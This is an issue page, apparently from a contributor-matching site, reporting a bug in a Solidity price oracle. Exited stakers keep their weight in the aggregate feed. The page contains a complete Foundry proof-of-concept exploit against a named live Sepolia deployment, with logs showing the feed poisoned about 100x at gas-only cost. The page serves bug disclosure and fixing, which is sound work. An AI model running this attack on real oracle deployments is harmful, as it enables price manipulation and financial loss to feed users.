`withdrawTokens` does not remove price weight — exited zero-balance accounts keep affecting the aggregate feed
Nobody has claimed this yet.
Assessment
- Difficulty
- 3/5
- Estimated time
- 1-2 days
- Newbie friendliness
- 73/100
- Issue type
- Bug
- Clarity
- Clearly specified
- Activity status
- Active
- Tech stack
- solidity
- Domain
- backend-api-design, blockchain, security
Research direction
Start with withdrawTokens() and the submitValue() updates in src/Oracle.sol:136-137, then inspect the existing tests and the supplied test/Attack004.t.sol reproduction. Run the reproduction with Foundry against a Sepolia fork using ETH_RPC_URL. Done means a fully withdrawn submitter no longer affects readValue(), while the control case and existing aggregation behavior still pass.
Written by the indexing model from the issue text.
Description
withdrawTokens() updates unlockedTokens / totalDepositedTokens and the governance vote weights, but does not remove the account from the price aggregation — wof[x] and aggregatedWeight are written only in submitValue() (src/Oracle.sol:136-137).
So an account that has ever submitted a price keeps its weight in the aggregate after withdrawing every token.
Steps to reproduce
Foundry required. test/Attack004.t.sol is appended below.
export ETH_RPC_URL=https://sepolia.gateway.tenderly.co
forge test --match-path test/Attack004.t.sol -vv
- Fork Sepolia. Oracle
0xff2b1fca4aF0c9BCb576178e6989AA92819a0294, weight token0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14(WETH). - Give attacker
100000e18and honest party100e18of the weight token. - Both call
depositTokens(...). - Warp past
DEPOSIT_LOCKING_PERIOD(60s on chain). - Honest calls
submitValue(100e18)->readValue()=100e18. - Attacker calls
submitValue(10000e18)->readValue()=9990.1e18. - Warp past
WITHDRAWAL_LOCKING_PERIOD(60s). - Attacker calls
withdrawTokens(100000e18)-> full token balance restored. readValue()is still9990.1e18— the attacker's weight is still in the aggregate.- Honest party, now 100% of the live stake, calls
submitValue(100e18)->readValue()=9980.07e18, still ~100x off.
Raw output:
Ran 2 tests for test/Attack004.t.sol:Attack_GhostWeight
[PASS] test_attack_ghostWeight_fullSequence() (gas: 2183208)
Logs:
=== on-chain params read from the fork ===
weight token : 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14
DEPOSIT_LOCK : 60
WITHDRAWAL_LOCK : 60
HALF_LIFE_SECONDS : 60
REWARD_BPS : 100
totalDeposited : 105000000000000000
pre-existing staked in oracle: 105000000000000000
[1] both deposited. attacker token balance: 0
[2] passed DEPOSIT_LOCKING_PERIOD
[3] honest submits 100 -> feed 100000000000000000000
[4] attacker submits 10000 -> feed 9990109890109890109890
[5] attacker fully withdrew. balance 100000000000000000000000
weight left in oracle 100105000000000000000
totalDepositedTokens 100105000000000000000
[6] after full exit, feed still 9990109890109890109890
[7] honest (100pct live stake) submits 100 -> feed 9980073867581792748095
=== EXPLOIT CONFIRMED ===
attacker capital loss: 0 (fully recovered)
real cost: gas only
residual after honest corrects: 9880073867581792748095
[PASS] test_control_neverSubmittedCannotPoison() (gas: 1437706)
Logs:
=== on-chain params read from the fork ===
weight token : 0xfFf9976782d46CC05630D1f6eBAb18b2324d6B14
DEPOSIT_LOCK : 60
WITHDRAWAL_LOCK : 60
HALF_LIFE_SECONDS : 60
REWARD_BPS : 100
totalDeposited : 105000000000000000
[control] big holder never submitted; honest 100 -> feed 100000000000000000000
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 16.27s (22.99s CPU time)
test/Attack004.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;
// Attacker-perspective PoC against the LIVE Sepolia deployment (forked state).
//
// Question it answers: "can this actually be exploited?", not "is the mechanism real?".
// It runs the full attack sequence against real on-chain contracts and records the constraints.
//
// Usage:
// export ETH_RPC_URL=https://ethereum-sepolia-rpc.publicnode.com
// forge test --match-path test/Attack004.t.sol -vv
import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IOracle {
function WEIGHT_TOKEN() external view returns (address);
function DEPOSIT_LOCKING_PERIOD() external view returns (uint256);
function WITHDRAWAL_LOCKING_PERIOD() external view returns (uint256);
function HALF_LIFE_SECONDS() external view returns (uint256);
function REWARD_BPS() external view returns (uint256);
function totalDepositedTokens() external view returns (uint256);
function depositTokens(uint256 amount) external;
function withdrawTokens(uint256 amount) external;
function submitValue(uint256 newValue) external;
function readValue() external view returns (uint256);
}
contract Attack_GhostWeight is Test {
// Live deployment, see Deployments.md
address constant ORACLE = 0xff2b1fca4aF0c9BCb576178e6989AA92819a0294;
IOracle oracle;
IERC20 weight;
address attacker = makeAddr("attacker");
address honest = makeAddr("honest");
uint256 constant ATK_DEPOSIT = 100_000e18;
uint256 constant HON_DEPOSIT = 100e18;
uint256 constant HONEST_PRICE = 100e18;
uint256 constant POISON_PRICE = 10_000e18;
function setUp() public {
vm.createSelectFork(vm.envString("ETH_RPC_URL"));
oracle = IOracle(ORACLE);
weight = IERC20(oracle.WEIGHT_TOKEN());
console2.log("=== on-chain params read from the fork ===");
console2.log("weight token :", address(weight));
console2.log("DEPOSIT_LOCK :", oracle.DEPOSIT_LOCKING_PERIOD());
console2.log("WITHDRAWAL_LOCK :", oracle.WITHDRAWAL_LOCKING_PERIOD());
console2.log("HALF_LIFE_SECONDS :", oracle.HALF_LIFE_SECONDS());
console2.log("REWARD_BPS :", oracle.REWARD_BPS());
console2.log("totalDeposited :", oracle.totalDepositedTokens());
}
function test_attack_ghostWeight_fullSequence() public {
uint256 depositLock = oracle.DEPOSIT_LOCKING_PERIOD();
uint256 withdrawLock = oracle.WITHDRAWAL_LOCKING_PERIOD();
// 链上本来就有存量质押,先记下来,后面的断言要按"增量"算
uint256 preExisting = weight.balanceOf(ORACLE);
console2.log("pre-existing staked in oracle:", preExisting);
deal(address(weight), attacker, ATK_DEPOSIT);
deal(address(weight), honest, HON_DEPOSIT);
vm.startPrank(honest);
weight.approve(ORACLE, type(uint).max);
oracle.depositTokens(HON_DEPOSIT);
vm.stopPrank();
vm.startPrank(attacker);
weight.approve(ORACLE, type(uint).max);
oracle.depositTokens(ATK_DEPOSIT);
vm.stopPrank();
console2.log("");
console2.log("[1] both deposited. attacker token balance:", weight.balanceOf(attacker));
vm.warp(block.timestamp + depositLock + 1);
console2.log("[2] passed DEPOSIT_LOCKING_PERIOD");
vm.prank(honest);
oracle.submitValue(HONEST_PRICE);
console2.log("[3] honest submits 100 -> feed", oracle.readValue());
vm.prank(attacker);
oracle.submitValue(POISON_PRICE);
uint256 poisoned = oracle.readValue();
console2.log("[4] attacker submits 10000 -> feed", poisoned);
vm.warp(block.timestamp + withdrawLock + 1);
vm.prank(attacker);
oracle.withdrawTokens(ATK_DEPOSIT);
uint256 atkBalanceAfter = weight.balanceOf(attacker);
console2.log("[5] attacker fully withdrew. balance", atkBalanceAfter);
console2.log(" weight left in oracle", weight.balanceOf(ORACLE));
console2.log(" totalDepositedTokens", oracle.totalDepositedTokens());
uint256 afterExit = oracle.readValue();
console2.log("[6] after full exit, feed still", afterExit);
vm.prank(honest);
oracle.submitValue(HONEST_PRICE);
uint256 afterHonest = oracle.readValue();
console2.log("[7] honest (100pct live stake) submits 100 -> feed", afterHonest);
// A) 攻击者资本净额:等于自己存进去的全部(资本零损失)
assertEq(atkBalanceAfter, ATK_DEPOSIT, "attacker capital was NOT fully recovered");
// B) 攻击者的代币已全部离场,合约里只剩"存量 + 诚实方"
assertEq(
weight.balanceOf(ORACLE),
preExisting + HON_DEPOSIT,
"attacker's tokens did not fully leave the oracle"
);
// C) 攻击者离场后污染仍在(残差 > 10 倍真实值)
assertGt(afterExit, HONEST_PRICE * 10, "poisoning vanished after exit");
// D) 诚实方持有 100% 在场权益、报出正确价,仍拉不回真实值
assertGt(afterHonest, HONEST_PRICE * 10, "honest staker COULD correct the feed");
// E) 关键:诚实方的正确报价几乎没有任何纠正效果(变化 < 1%)
assertLt(afterExit - afterHonest, afterExit / 100, "honest submit corrected more than 1pct");
console2.log("");
console2.log("=== EXPLOIT CONFIRMED ===");
console2.log("attacker capital loss: 0 (fully recovered)");
console2.log("real cost: gas only");
console2.log("residual after honest corrects:", afterHonest - HONEST_PRICE);
}
function test_control_neverSubmittedCannotPoison() public {
uint256 depositLock = oracle.DEPOSIT_LOCKING_PERIOD();
deal(address(weight), attacker, ATK_DEPOSIT);
deal(address(weight), honest, HON_DEPOSIT);
vm.prank(honest);
weight.approve(ORACLE, type(uint).max);
vm.prank(honest);
oracle.depositTokens(HON_DEPOSIT);
vm.prank(attacker);
weight.approve(ORACLE, type(uint).max);
vm.prank(attacker);
oracle.depositTokens(ATK_DEPOSIT);
vm.warp(block.timestamp + depositLock + 1);
vm.prank(honest);
oracle.submitValue(HONEST_PRICE);
uint256 v = oracle.readValue();
console2.log("[control] big holder never submitted; honest 100 -> feed", v);
assertEq(v, HONEST_PRICE, "control failed: big holder moved the feed without submitting");
}
}
- Dominant language
- Solidity
- Stars
- 3
- Forks
- 3
- Avg merge
- 15h 55m
- Merged PRs (30d)
- 6
Getting set up
- No Dockerfile or Docker Compose file
- No pull request template
- Read the contributing guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
More from StabilityNexus/OrbOracle-Solidity
-
[BUG]: Oracle with rewardBps above 1e5 can never accept a funded price submissionPossibly taken @kansalakshat claimed this 1 day ago. Openbug
Difficulty 2/5 1-3 hours Newbie friendliness 65/100
StabilityNexus/OrbOracle-Solidity#27 · 1 comment ·
-
[BUG]: Old prices stay in the feed after someone resubmits (decay is not multiplicative)Possibly taken @Deepak-negi11 claimed this 4 days ago. Openbug
Difficulty 5/5 Over a week Newbie friendliness 35/100
StabilityNexus/OrbOracle-Solidity#25 · 1 comment ·
-
Difficulty 5/5 Over a week Newbie friendliness 25/100
StabilityNexus/OrbOracle-Solidity#4 · 1 comment ·
-
enhancement
Difficulty 4/5 3-5 days Newbie friendliness 35/100
StabilityNexus/OrbOracle-Solidity#2 · 1 comment ·
All issues in StabilityNexus/OrbOracle-Solidity
Similar issues
-
dropIndexes by key pattern panics on a shorter pattern and drops the wrong index on a longer oneOpen
Difficulty 2/5 1-3 hours Newbie friendliness 85/100
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 78/100
mega-yfue/ha-eufy-sdk-bridge#198 ·
Maintainers usually reply within 1 day
-
bug good first issue
Difficulty 2/5 1-3 hours Newbie friendliness 85/100
qte77/agentic-job-offer-to-application-kit#487 · 1 comment ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 82/100
btclib-org/btclib-wallet#801 · 1 comment ·
Maintainers usually reply within 1 day
-
Difficulty 2/5 1-3 hours Newbie friendliness 75/100
Maintainers usually reply within 2 days